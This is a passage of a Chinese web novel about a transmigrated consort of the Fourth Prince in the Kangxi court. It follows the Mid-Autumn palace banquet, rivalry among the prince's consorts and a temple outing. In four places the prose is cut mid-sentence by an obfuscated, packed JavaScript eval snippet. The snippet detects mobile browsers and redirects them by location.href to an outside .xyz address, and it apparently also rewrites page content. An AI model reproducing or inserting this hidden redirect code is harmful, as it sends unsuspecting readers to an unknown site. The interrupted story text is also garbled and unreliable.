年芷瑶刚走到垂花门,四爷便走了进来,看见她过来,便皱眉道:“怎么等在这儿,小心着凉。” 他不满地看向她身后跟着伺候的人。 白芨的腿一软,差点给四爷跪下了。 年芷瑶连忙拦着他:“是我要出来的,不关她们的事,我想快点见到爷嘛。” 四爷这才没罚了下去,只是道:“好生伺候你家主子。” 白芨心惊胆战:“是。” 年芷瑶冲白芨挥了挥手,让她先下去。 上茶的人换成了采芙,上完茶不敢多待,直接利索地下去了。 四爷看她:“日后不可再等在门口了,你身子弱,若是吹风着凉就不好了。” 年芷瑶一脸疑问,她看起来有这么弱不禁风吗,她日日都来一杯灵泉水的,身子说不得比四爷还好上一些呢。 四爷道:“爷才知道,你三岁时生了一场大病。”他抚了抚她的发:“虽说之后养了回来,但也要小心才是。” 年芷瑶看他,然后恍然,她看了看守在门外的苏培盛,小声道:“爷和二哥通信了。” 四爷笑道:“是,亮工说你身子不好,性子骄纵,让爷多担待些。” 年芷瑶一脸不信:“哥哥才不会这样说,爷定是骗我的。” 四爷抱着她,叹了口气:“你们兄妹之间倒是彼此了解,亮工说的是你从鬼门关里,之后又得家里宠溺,可从不骄纵,心地善良,若是你有什么做得不对,盼我好好教导,不要训斥于你。” 年芷瑶眼眶微红,她低头眨了眨眼,将泪意咽了回去,她哑声道:“二哥一直待我极好。” “我记得那时我的病刚有起色,可还是不能出门,二哥便每日下学便去我屋子里,和我聊天解闷,给我讲外面的故事,还给我带不少新奇玩意过来。” 她的眸子发亮:“我每日最期待的便是二哥来找我的时间。”大哥虽也疼她,可当时他已娶妻,又忙着读书,陪她的时间自然少了些,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041195|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像二哥,两人年纪相仿,最是合得来。 四爷拍了拍她:“都过去了,以后爷定会多多带你出门。” 年芷瑶点头:“多谢爷。”她抬头看向四爷:“爷,这事告诉我,没关系吗。” 她知道四爷和二哥的信件必定是密信,毕竟如今两人还在避嫌呢,年家在夺嫡中偷偷站队,投靠了四爷,若是二哥因此事前程受了损,于他们都是损失。 四爷拍了拍她:“只是与你说说,无妨。” 瑶儿聪慧,知道他心中所想,许多事他也只敢在她面前多说一句。 她低头靠在四爷身上,家里不是没有庶出的女儿,却还是让她嫁了进来,就是为表诚意,如今年家和四爷算得是同一条船上的蚂蚱,自然是彼此交心。 四爷从前院过来的晚,看着她喝完了一盏燕窝,两人便洗漱上了床。 “中秋我也要进宫。”她有些吃惊,不由得坐起了身。 四爷看着她道:“今年是你头一年进府,也该前去亮亮相。” 年芷瑶眨了眨眼。 四爷揉了揉她的手,“可是担心。” “倒也不是。”她满是信任:“有爷呢。” 只是上次进宫还是只见德妃一人,这次就要见到清朝最有名的皇家人了,她还是稍稍有些紧张在的。 四爷笑了笑:“是呢,有爷在这呢。” 他看了看瑶儿,可惜这几年京中因立太子的事气氛诡谲,若是早上几年,瑶儿还能去和别家的妯娌赏花聊天。 老五,老七闭门不出,就差头顶挂上我不掺和,都别找我这几个字了,他的其他兄弟倒都在跃跃欲试。 想到自己糟心的兄弟们,四爷也不禁叹了口气,他握了握瑶儿的手,天家兄弟,有时还不如的百姓家的情深呢。 他抱了抱怀中的人。 年芷瑶看他:“爷,可是有心事。” 四爷:“亮工与你之间的兄妹之情,实在让旁人羡慕。” 年芷瑶安慰似的拍了拍他:“爷还有我呢。” 四爷:“好在有瑶儿在。” 他笑了笑,又不知想到何处,叹道:“我们的孩子们,定也会像你和亮工这般感情好的。” 年芷瑶:“那,爷你努力?” 四爷看她。 年芷瑶默默地将被子盖在脸上,“爷,我说错话了。” 四爷:“不,瑶儿说得对,爷还是要更努力一些才是。” 他翻身将她压住。 年芷瑶:“爷,其实也不用这么努力的。” 四爷将她的手塞回被子里。 16. 第 16 章 门外,苏培盛看了白芨一眼,不禁叹道,“你倒是跟了个好主子。” 他从宫中就伺候主子爷,这么多年,看到最多的便是把奴才推出去抵祸的,能像年主子这般护着底下奴才的可不多见。 白芨露出一抹笑:“主子待我们确实是极好。” 只是她暗暗告诫自己,日后不可再给主子添麻烦。 临近中秋,府里的事情就越发多了起来。 年芷瑶正在跟着嬷嬷学习规矩,还是熟悉的白嬷嬷,熟悉的配方。 她客气道:“又要辛苦嬷嬷了。” 白嬷嬷笑得和善可亲,“侧福晋聪慧灵巧,并不需要多费什么工夫。” 年芷瑶笑了笑,并未把奉承的话放在心上,只要四爷一日对她的宠爱依旧,这嬷嬷便会对她客气一日。 说道规矩,其实她上次学的也还没忘了,只是到底这次到底是宫宴,不比上次进宫,只是见了娘娘,自然得多做一些准备。 白嬷嬷看了侧福晋一眼,她也不全是恭维奉承,毕竟眼前的这位侧福晋容貌出众,家世又好,按理来说再骄纵些也没什么,但这几次相处下来,她发现年侧福晋倒是有一副好性子。 不是说侧福晋性子软不像个主子,而是她性子好,观之可亲。 她在宫里见多了妃嫔娘娘,若是性子不好,那即便长得再美,路也走不太远,别说宜妃娘娘嚣张跋扈,她在宫里可没听说宜妃欺人的话,要说跋扈那也是跋扈到万岁爷心里去了。 更何况她敢打包票四爷不喜跋扈的。 她倒是很看好这位侧福晋,即使不做什么,与这位交好也不是什么坏事,花花轿子众人抬嘛。 她轻声说:“侧福晋,这里要微微弯膝,以示尊敬。” 乾清宫,康熙困倦地揉了揉眼,如今他的眼睛越发不好了,折子看不了一刻,便要停下来歇歇。 他看向桌子上的摆件:“这是老八送来的。” 梁九功低头:“是。” “他倒是有心。” 桌子上的是上好的和田玉,雕刻着南极仙翁乘鹤的图案,寓意长寿吉祥,别说如此大的好玉并不多见,就是说这雕工,精妙绝伦,定找了不少能人巧匠雕刻的,如此费心,说句孝顺也不为过。 可梁九功低头不语,在万岁身边伺候,头一个要学的就是闭上嘴。 索性也康熙也不需要他的回话,他道:“朕老了,儿子们倒是都长大了。” 梁九功哪敢附和,只能道:“万岁如今正是龙虎精神。” 他抬出二十三阿哥,二十三阿哥是万岁今年新得的儿子,万岁当时龙颜大悦,下旨大办了阿哥的满月。 想到自己的小儿子,康熙有些担忧,将来继位的儿子真能照看好这些个弟弟吗。 前头康熙的心思暂且不表,雍亲王府倒是得了一个好消息。 年芷瑶看向四爷:“赐名?” 四爷点头:“皇阿玛给四阿哥和五阿哥都赐了名字,四阿哥叫弘历,五阿哥叫弘昼。” 年芷瑶笑了笑,“这倒是好事,我记得库房里有几块好砚,送去给两位妹妹吧,也算是贺一贺她们的喜事。” 白芨:“是。” 四爷道:“爷记得那几块砚是你的嫁妆,都是上好的端砚,怎么这么快就送出去了。” “几块砚而已,难道我是这么小气的人嘛,两个阿哥快要开蒙了,也算是物尽其用。” 她冲四爷笑道:“况且爷又不会委屈我。” 四爷点了点她:“真是赖上爷了,等过几日,爷给你几块更好的。” 年芷瑶笑意不减,给他的儿子送东西当然要当着他的面送啦,不然没人领情怎么办。 她看了看四爷,“爷是有什么心事吗。”怎么看着不是那么高兴啊。 四爷微微叹气,“皇阿玛是想给二十三弟起名的。” 他话没说完,年芷瑶却明白了,顺带着的,总归有些不是滋味两分。 她道:“二十三阿哥?我记得二十三阿哥如今才不到半岁吧。” 怎么就起名了,她记得清朝阿哥起名字都晚,一般都等到确定能长成才会起名排续齿的。 四爷:“皇阿玛年纪大了,宠爱小儿子也是寻常之事。” 只是四阿哥五阿哥年纪还小,此次中秋他本不准备带四阿哥五阿哥去宫里的,如今既赐了名字,怎么也得带两个阿哥去。 年芷瑶安慰他道:“这也是人之常情,谁的孩子谁疼。”她轻声说:“万岁也疼爷不是吗。” 四爷叹了口气,是啊,皇阿玛也曾这样为他这样细细打算过。 他看向瑶儿:“后日便是中秋,到时你先去永和宫,娘娘喜欢你,跟着娘娘便是。” 他与娘娘的情分虽浅,但到底是亲母子,不会为难瑶儿的。 至于福晋,她再是不满,也会端好嫡福晋的架子,对她来说,没什么比福晋这个名头更重要了。 年芷瑶:“爷放心吧。” 她的眼里漾起笑意,他都这般为她打算了,她还有什么好担心的。 四爷揉了揉她的手。 西院 李氏不可置信地看着碧珠:“你说什么。” 碧珠连忙跪下,“福晋,福晋说,中秋府里事多,让主子留在府里看家。” 李氏瞪大了眼,在府里看家,那就是不让她进宫的意思了。 她的手用力地捏住桌角,到底是谁在从中作梗,是年氏,还是福晋。 碧珠望着李氏的眼神,心中一颤,怕她做出什么傻事,连忙劝道:“主子,您消消火,这事定是福晋自作主张,若不我们去前院问问主子爷。” 李氏却突然明白了,她身子一软,倒在了椅背上,福晋这么小心谨慎的一个人,若不是有爷的授意,怎么敢这么对她说。 这一刻,年氏和福晋的身影,都淡了出去,唯有四爷,她想到四爷的怒火和警告,四爷如今连中秋宫宴都不让她去,是不是已经厌了她了。 中秋当天,年芷瑶又被迫早起,虽中秋参加的是晚宴,下午进宫便好,但光是上妆,梳洗,穿吉服就耽误了近两个时辰,实在太过费事。 用过午膳,她正喝着茶水醒神,白芨提醒她道:“主子少喝些水,免得进宫后不方便。” 又在荷包里给她装了些肉脯和松子糖,“奴婢听说宫宴会上的菜色都不好,主子可别饿着。” 年芷瑶笑意盈盈地道:“白芨越发能干了。” 白芨低头一笑,“都是白嬷嬷教的。” 年芷瑶收拾好便去了正门,福晋已经到了,她上前两步给福晋行了礼。 福晋还是一如既往的庄重,“妹妹起来吧。” 年芷瑶看着福晋身边的四阿哥五阿哥,因钮祜禄氏和耿氏没资格进宫,两个阿哥便交给了福晋照看。 小阿哥们上前行礼:“给年额娘请安。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044464|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年芷瑶对他们笑了笑,“快起来,不必多礼。” 她与福晋分别上了马车,等前头四爷嘱咐两句,便开始出发了。 等进了宫门,她和四爷便分开了,他带着三阿哥去前殿,她们只能跟着福晋去永和宫,等到开宴的时候再行会合。 四爷看了她和福晋一眼,没再嘱咐什么,只是摸了摸四阿哥和五阿哥的头,让福晋好生照看。 年芷瑶松了一口气,若是四爷真在福晋面前对她说什么,那她真的会晃一晃四爷的脑袋,看看里面是不是装的都是水。 踏入永和宫的院子,映入眼帘的还是熟悉的福嬷嬷。 福嬷嬷笑着走来,冲她和福晋行礼。 一进永和宫的大门,年芷瑶便觉得周围传来了若有若无的视线。 她恍若不知,低头跟着福晋上前给德妃行礼。 德妃和善道:“都起来吧。” 她看向两个阿哥,“这就是四阿哥和五阿哥吧。” 福晋:“是。”她推着两个阿哥上前行礼。 德妃和四爷的母子虽关系有些尴尬,但对两个阿哥倒是热情不少,直接让他们坐在她的身边,又递了果子给两个阿哥吃。 一旁的成嫔奉承道:“娘娘有两个阿哥承欢膝下,可真令人羡慕。” 德妃:“我只盼着孩子再多些才是。” 福晋低下了头,她是福晋,府上的孩子少,那就是她的责任。 成嫔笑道:“娘娘急什么,孩子都是一个带一个的,四阿哥五阿哥年岁相仿,必定多引来几个阿哥的。” 德妃笑了起来,“你惯是会逗我开心。” 年芷瑶看了环视了一圈,来之前白嬷嬷给她说过宫里的情景,七阿哥的生母成嫔一直住在永和宫的后殿,和德妃关系还算不错。 刚才说话的宫装妇人,想必就是成嫔了,只是她与德妃年纪相仿,却比德妃要显年纪得多。 坐在成嫔下面的应该是住在永和宫的贵人,常在之流。 右侧便是福晋们坐的位置了,四福晋下面依次是七福晋,十三福晋,十四福晋。 永和宫的正殿不大,可人却是不少,年芷瑶行过礼便跟着退了出来,被人引去了一旁的偏殿,坐着的都是几个府上的侧福晋。 看见她来,几人便起身见礼,她看了一眼,只有两人,一个年长些,一个年轻些,她转念一想,便有些明白了,十三福晋和十三爷的感情好,想必是没带侧福晋过来。 现在只有七爷和十四爷的侧福晋在这。 她在看她们,她们也在看她。 十四爷的侧福晋是舒舒觉罗氏,她言笑晏晏地道:“早就听说四嫂貌美,如今一看果然有沉鱼落雁之姿,刚才一见,差点把妹妹都看呆了。” 年芷瑶冲她笑了笑:“弟妹也是花容月貌,肤若凝脂,可有什么保养的方子吗。” 舒舒觉罗氏的笑僵了僵,抬头摸了摸敷了厚粉的脸。 她虽比那拉氏年少些,但毕竟年纪摆在那,又生了孩子,哪比得上年氏这般二八年华的容貌。 但看着年氏真心实意地笑容,她又有些不确定,于是在一旁坐了下来。 七爷的侧福晋那拉氏松了一口气,这舒舒觉罗氏总算是不说话了,不然听她夹枪带棒真令人不舒服。 她对着年芷瑶笑了笑。 年芷瑶也对她一笑,别人对她客气,她自然也愿意给她面子。 17. 第 17 章 每年中秋的时候皇上都要带着后宫妃嫔祭月,以求来年社稷平安,风调雨顺。 只是她们这些小辈是不用去的,只是在前头送了送德妃,便又各自回了自己的地方待着。 回了偏殿,年芷瑶百无聊赖地看着四周,本就无聊的日子,和不熟的人坐在一块更无聊,晚宴什么时候开始啊,什么时候能回去睡觉啊。 那拉氏不免观察起了这位年侧福晋,从刚一进门她就发现年氏长得极美,即便今日进宫穿的都是同样的吉服,还是会让人第一眼注意到。 这般相貌,即便是宫里,恐怕也就只有良妃娘娘能与之相比了,只是美人多薄命,希望这年氏能有一番好运气。 年芷瑶注意到那拉氏的眼神,朝她看了过来。 那拉氏笑了笑:“四嫂腕子上带的可是十八子。” 年芷瑶微晃手腕,露出了碧玺带翠饰十八子,“是呢,弟妹可要细看。” 这是四爷前几日送过来的,她看着好看,又和她的朝珠相配,就带了出来。 那拉氏推辞:“不了,四嫂肤白,戴着好看极了。” 舒舒觉罗氏看过来后不免有些眼红,这般品相的碧玺可不多见,尤其是中间两颗的翠绿欲滴的翡翠,更是难得。 她想说几句酸话,可又有些怕年氏直接顶回来。 这年氏看着柔柔弱弱的,这性子倒是不软,她想到整日里端庄肃穆的四福晋,有些幸灾乐祸,日后这四爷府怕是有热闹可看了。 舒舒觉罗氏不开口,年芷瑶和那拉氏便聊了起来,两人就着各家宗室的八卦聊了一聊,倒觉得时间没那么难熬了。 等小宫女端着月饼进了偏殿,年芷瑶便知道前头结束了。 她意思意思地尝了一口,嗯,中规中矩的五仁馅,算不上好吃,但也不是很难吃。 这就是大锅饭的威力吗,即便是御厨,做这么多人份的月饼也不会好吃了,不过话又说回来,她们真的能吃到御厨做的月饼吧,这些不会是学徒做的吧。 吃着平平无奇的月饼倒是让她想起了之前芋泥蛋黄酥,流沙的芋头配上咸沙的蛋黄,一口咬下去,幸福得不得了,只是不知道现在有没有荔浦芋头,真的很好吃啦。 等吃过月饼,就要开宴了。 四爷和三阿哥在前殿大宴,她们在永和宫开小宴,德妃坐在了上首,等万岁那边传来开宴的信号,听过圣颂,这边才开始动筷子。 吃过宴席的都知道,这些菜都是个花样子,看着好看,实则都是提前做出来的,早就凉透了。 年芷瑶只随便尝了两筷子凉菜,还得配合着周围人的敬酒。 等最后看完烟花,年芷瑶觉得这中秋晚会比当年做社畜陪酒还累,唯一好一点的就是没有中年油腻男人对她揩油。 她跟在福晋身后出了宫门。 早早等在宫门外的白芨伸手扶住了她。 福晋看着也有些累着了,没再多说什么,两人各自上了马车。 也是,她只需和侧福晋们坐在一起,福晋还得在前头应承着德妃等人,自然不比她轻松。 过了一会儿,四爷也出来了,他先去看了看福晋和两个孩子。 又走到年芷瑶马车前:“可还好。” 年芷瑶冲他笑笑:“还好。” 四爷冲她点了点头,而后翻身上了马,挥手道:“回府。” 年芷瑶同情地看他一眼,刚才四爷一过来她就闻到了他身上的酒味,只是即便这样也不好直接坐马车,着实是惨了些。 回到东院的第一件事就是卸下钗寰,感受到头皮一松,她才觉得自己活了过来。 年芷瑶:“小厨房可还有火,让他们做碗面送过来。”实在是太饿了,她觉得现在能吞下一头牛。 白芨道:“都没敢熄火呢,主子还想吃什么,让他们做了便是。” 年芷瑶想了想:“要个牛肉面,再拌上两个凉菜便是。” 她看向四爷:“爷吃不吃。” 四爷顿了顿,说了句:“好。” 年芷瑶:“再做碗醒酒汤过来。” 白芨:“是。” 面送来得很快,熬了一整天的大骨头,配上筋道弹牙的面条,年芷瑶一口气先吃了半碗,之后才尝了尝几个凉菜。 四爷眼含笑意:“宫宴上的菜有这么难吃吗。” 年芷瑶重重点头:“有。” 四爷不免笑了起来:“你倒是实诚。” 大宴上的菜色难吃的人尽皆知,但真的说出来地没有几个。 年芷瑶好奇道:“爷不觉得难吃吗。” 四爷想着刚才皇阿玛让老八下来敬酒,又想到老十三郁郁的神情。 他叹了口气道:“爷都没注意。”没心思吃菜怎么会注意到菜难吃与否呢,只觉得一晚上灌了不少酒,胃里沉甸甸的难受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049932|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若不是有瑶儿的面,只怕这一晚上难熬得很。 吃过宵夜,两人又重新漱了口,这才双双躺在了床上。 年芷瑶悄悄从被子里伸出手,与他十指相扣,“爷,很辛苦吧。” 她说的语焉不详,四爷也懂她的意思。 他起身看她,“别担心。” 年芷瑶对他笑了笑。 四爷捏了捏她的手,“快睡吧。” 年芷瑶点头,放缓了呼吸,很快就进入了梦乡。 四爷听着枕边人的呼吸逐渐平稳,想来瑶儿早就累了,撑到现在也只是为了他。 他心头不由得发软,只是却迟迟不能入睡。 第二天一早,白芨听见动静过来,笑道:“主子醒了。” 年芷瑶伸了个懒腰,“什么时辰了。” 白芨道:“巳时过半了。” 年芷瑶眨了眨眼,怪不得睡得这么舒服,原来已经十点了啊。 白芨:“主子可要用早膳。” “等一会吧。”昨晚刚吃了夜宵,现在还不饿。 “是。”白芨退了下去,只是没一会,又带了几样点心过来,“这是膳房新进的糕点,主子可要尝尝。” 年芷瑶笑着看她:“白芨越发贴心了。” 只是午膳时,没等到过来用膳的四爷,倒是等到二格格身边的人来了东院。 来人自称王嬷嬷,三十许人,想必是二格格的奶嬷嬷了。 她开口道:“我们格格新得了一道玫瑰花露的方子,说是女子多有好处,便想着送来给府里的各位主子一份,这份是侧福晋的。” 她打开一个精巧的盒子,里面是两个琉璃瓶,想必里面装着的就是所谓的玫瑰花露了。 年芷瑶笑道:“我进府晚,一直未曾见过郡主,劳烦郡主还想着我,还请替我多谢郡主。” 王嬷嬷:“侧福晋客气了。”她微微一福:“奴婢就不打扰侧福晋了。” 年芷瑶:“白芨,去送送王嬷嬷。” 看王嬷嬷走远,白芍不解道:“主子,您说二格格好端端地干嘛来送玫瑰花露啊,您又不缺这玩意。” “还能做什么,送花露是假,来看你主子我才是真。” 年芷瑶指了指自己:“娘家新来一个侧福晋也就罢了,这人还把自己亲额娘挤得没地站了,要你你不急啊。” “促狭。”四爷笑着走了进来。 18. 第 18 章 四爷走了进来,说了她一句:“促狭。” 年芷瑶连忙起身将他迎到座位上,伸手给他捶起了肩:“爷怎么过来了。” 四爷故作深沉地看了她一眼。 年芷瑶笑得越发讨好。 四爷拿她没办法,“行了,坐吧。” 年芷瑶顺势坐了下来,看着四爷手里的琉璃瓶子,“爷知道二格格东西过来了。” “苏培盛告诉过爷。” 女儿的小心思他不是不懂,只是到底是自己孩子,他也就没说什么。 没承想刚进来就听到瑶儿说那番话,什么叫挤得没地站了,那是亲王侧妃该说的吗,他点了点她。 年芷瑶心虚地冲他笑笑,本来就是玩笑话,谁能想到还让他给听见了。 四爷放下瓶子:“收起来吧,回头爷给你更好的。” 年芷瑶抱住了他:“爷,你真好。” 四爷:“惯会撒娇。” 苏培盛十分有眼色地带着人退了下去,早就想走白芍连忙跟上。 “在主子身边伺候,日后可不能这么莽撞。”苏培盛看了看屋里头四爷和侧福晋的影子贴地越发近了起来,他也有意卖年主子的身边人一个好。 白芍低头:“多谢苏爷爷提点。” 可吓死她了,下次她说话一定得看看四爷来没来。 正院 福晋把玩着二格格送来的玫瑰花露,“她倒是有心。” 赵嬷嬷笑道:“自从年侧福晋来了之后,李侧福晋连四爷的面都见不到了,连带着三阿哥都受了训斥,那位自然跟着着急。” 福晋扯了扯嘴角:“自己不成就找三阿哥,三阿哥不成就找二格格,孩子多就是好啊。” 赵嬷嬷看了福晋一眼,怕惹出福晋的伤心事,不敢再搭话。 “年氏。”福晋默默地念着这个名字,年氏貌美,阿玛官职又高,能得宠是应有之事,但她能做到这份上也是她没想到的。 之前四爷再宠爱李氏,也没做到像现在这般不碰其他人的,只是女子再多宠爱都是虚的,孩子才是真的。 福晋将玫瑰花露的盖子盖好,“拿下去吧。” 牡丹:“是。” 赵嬷嬷摆了摆手,牡丹便明白了她的意思。 牡丹端着精美的木盒下去,这玫瑰花露连库房都不必放,随便处理了便是,也是,当时二格格在府里时,没少仗着自己的身份背后给福晋上眼药,她们母子沆瀣一气的时候占尽了便宜。 如今倒服了软,送个花露还特意提了句年侧福晋那只得了两瓶,正院这送来了四瓶,牡丹面露不屑,现在知道以福晋为尊了,早干嘛去了。 东院的晚膳准备得尤为丰盛,昨儿个主子们都进了宫,只剩李侧福晋伴着几个格格在府里用。 大厨房的人看碟下菜,也就随意整治了一桌子席面。 今日却不同,年侧福晋得宠,四爷又在东院用,大厨房从一早便开始忙了起来,二十四道热菜,八道凉菜,汤品,主食,甜品一个不落,摆了满满一桌子。 因年芷瑶今早说了一句想吃月饼,于是光月饼就上了八种。 常见的京式月饼做了五仁,山楂,豆沙,八宝四种馅,另外还有翻毛月饼,类似于现代的苏式月饼,月饼外面有一层层薄薄的酥皮,做了枣泥、盐椒、桂花、鲜肉四种馅。 她尝着味道都还不错,便一样都吃了一点,又加上菜色实在是多,成功地让自己吃撑了。 白芨连忙要了一些消食丸过来。 年芷瑶吃上两颗,又看了看四爷皱着的眉头。 她笑了笑,牵着他的手:“爷,晚上我们去赏月吧。” 说完,不等四爷回应,便把他拉走了。 苏培盛紧张的脸皮抽了抽,又不敢拦着年主子,抬眼一看,果然四爷配合得很。 他心中暗叹,真是年侧福晋的胆子真是够大的,他敢保证,整个后院里都找不出第二个敢这般对待主子爷的,别说是王府里,就是外头,怕是也没人敢。 院子里早早准备好了茶水点心,年芷瑶不喜欢半夜喝茶,又让他们换成了果酒。 正逢佳节,饮上两杯也是应景嘛,虽说昨儿个才是真正的十五,可当时挤挤挨挨的只觉得难熬了,如今和四爷站在一块,才有种过节的感觉。 她望着头顶上圆圆的月亮,想到她在现代一个人过中秋时,月光也是如此的明亮,这可真是今人不见古时月,今月曾经照古人了。 她微微叹了口气。 四爷看向她,“怎么?” 年芷瑶看他:“有些想额娘了。” 这倒是实话,比起她在现代时的父母,还是如今的阿玛额娘让她感受到了亲情的存在,这是她离开年府过得第一个中秋,自然想念在家的日子。 四爷:“等过些日子,爷让人接年夫人来府里坐坐。” 年芷瑶慢慢靠向四爷,“爷,你对我这么好,我以后要是离不了你了该怎么办啊。” “傻话。” 九月的天气正好,四爷带着她出了府。 算是履行之前说带她出门玩的承诺。 年芷瑶乘上了出府的马车,好奇问道:“爷,我们去哪呀。” 四爷:“等到了你就知道了。” 年芷瑶挑眉看他,怎么还保密起来了。 刘四从他爹那辈就在京城的前门大街卖羊肉烧饼,算起来也有五十年了,听他爹说,他小时候还见过刚登基时的万岁爷呢,这话他是不信,可信不信的,也不耽误他丑时就起来做烧饼。 他家羊肉汤十五文一碗,烧饼两文钱,一碗汤两个烧饼差不多能让家里的男人吃饱,比起旁边十文钱一大碗的素面,算不上实惠,但好歹有点荤腥,口袋里有几个钱的老爷们都也喜欢来他这吃。 因摊子在出城的必经路上,他也算看了不少热闹,就比如说今日路过的这辆马车,一看就是达官贵人的,普通人家可养不起这么贵的马。 旁边喝汤的人看着马车过来,特意端着碗往旁边稍了稍:“今儿个这是哪位爷出来了。” “依我看定是个王爷。”说话人算是有点见识,他指了指体型粗壮的马匹:“这拉车的马可都是蒙古马,都是前头进贡的,除了那边的。”他往上指了指,“没几个人有。” 喝汤的老汉听得出了神,只觉得碗中的羊肉都更香了些。 年芷瑶听着外头热闹的叫卖声和冲入鼻尖的香气,忍不住将帘子半开,早上虽用过早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15055951|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膳,但这街边的香气实在太过霸道。 就像没有人拒绝小学门口的炸串摊子一样,明知道不健康,却仍旧忍不住诱惑。 四爷看她:“怎么了。” 年芷瑶:“好香呀。” “想吃什么等回府让厨子给你做,外面的不干净。” 年芷瑶眼巴巴地看着他。 四爷无奈,“去买份糖炒栗子。” 栗子难扒,她也能少吃点。 苏培盛利索地下了车。 马车往西北方向缓慢驶去,等人少了些,年芷瑶便掀开马车的帘子,看向四周的风景一点点地在眼前掠过,心里放松了许多。 四爷也不打扰她,等到了地方,才扶着她下了马车。 她瞧了一眼牌匾,念道:“万寿寺。” 原来是寺庙,在年府时,她也常常跟着额娘来寺庙礼佛,虽然她不喜礼佛,但这是未婚女子唯一能正当出门的缘由了,是以她每次都十分珍惜。 额娘更喜欢去潭柘寺,这万寿寺倒是头一次来,她瞧了瞧里头,一个香客也没有,想来是提前清了场,也是,四爷好歹是王爷,该有的场面还是要有的。 四爷道:“这里的斋饭不错,等午膳时你尝一尝,附近还有聚集的街市,等午后,爷带你去逛一逛。” 年芷瑶眼睛亮的发光:“真的吗。” 四爷:“爷还会骗我不成。” 年芷瑶牵住他的手:“自然不会,爷最好了。” 四爷笑着看了她一眼,因是便服出行,今日的瑶儿并未梳旗头,而是梳起了汉家女子的发髻,显得她年岁越发小了起来。 九爷策马到了十爷府里,门口的小太监早早就认出了九爷的马,一边让人去府里通报,一边殷勤伺候。 “爷您来了。” 九爷一挥手将马鞭扔给小太监,问道:“老十呢。” “王爷正在书房呢。” 九爷一听王爷这两个字就头疼,前几年老爷子大封诸子,前头几个哥哥就不说了,可封了八哥为廉郡王,封了老十为敦郡王,只有他被封了贝勒。 他不满地啧了一声。 刚走到书房,十爷就迎了出来,“怎么来我这了。” 九爷:“怎么,我这个做哥哥的不能来。” 十爷一看他这样,就知道他心里又憋着气,只是他脾气好,一般不与老九生气,只笑道:“怎么会。” 九爷一屁股坐在了书房的椅子上,他们俩年岁相近,从小就在一起玩,在老十这和他自己府里差不多了。 “这么好的天气,你就在家待着啊。” 十爷不解问:“不然去哪。” 九爷笑:“当然是和四哥一起去万寿寺。” 十爷:“四哥去了万寿寺?你怎么知道的。” 九爷:“小爷自有办法。”说来也就是巧,昨日他奶母的兄弟就在万寿寺,四爷的人去传话,被他瞧见了,一打听便知明日雍亲王会带着侧福晋过来。 九爷放下茶杯,“你说如今这形势,四哥还真能做起富贵闲人来了,带着侧福晋游园子,上佛寺的,他就坐得住。” 十爷看了他一眼,四哥怎么样不好说,可看老九这样,想来是坐不住了。 19. 第 19 章 十爷瞧了他一眼,他的额娘早逝,不比老九,上头有得太后抚养的五哥,又从小长在宜妃身边,养成了一副冲动的性子。 他道:“九哥,你这般不喜四哥,是想做什么。” 九爷愣了愣,想做什么,他一向看不惯老四一副假道学的模样,都是龙子凤孙,说自己没点心思谁信啊。 可让他真的做什么,他又有些不敢,前太子可是从襁褓中就被册立,是告过天祭过地的,可还不是被拉下来了,换成他,就能行吗,怎么可能,他还没狂妄到那份上。 十爷叹了口气:“既然如此,你跟着瞎掺和干啥,九哥,弟弟劝你一句,还是离八哥远些吧。” 他和老九关系最好,可和八哥一起不过是因他同老九走得近,往日也就罢了。可如今几个哥哥都坐不住了,他又没这份心思,做个富贵王爷岂不是更好,皇阿玛又不会亏了他。 八哥怎样那是他的事,成了是他的本事,若是不成,他们哪个能逃得过新帝清算? 九爷默不作声。 年芷瑶随四爷进了寺庙,既然来了,也不能不拜,她看四爷一脸肃穆,也跟着认真地求了一求,愿这辈子能长命百岁。 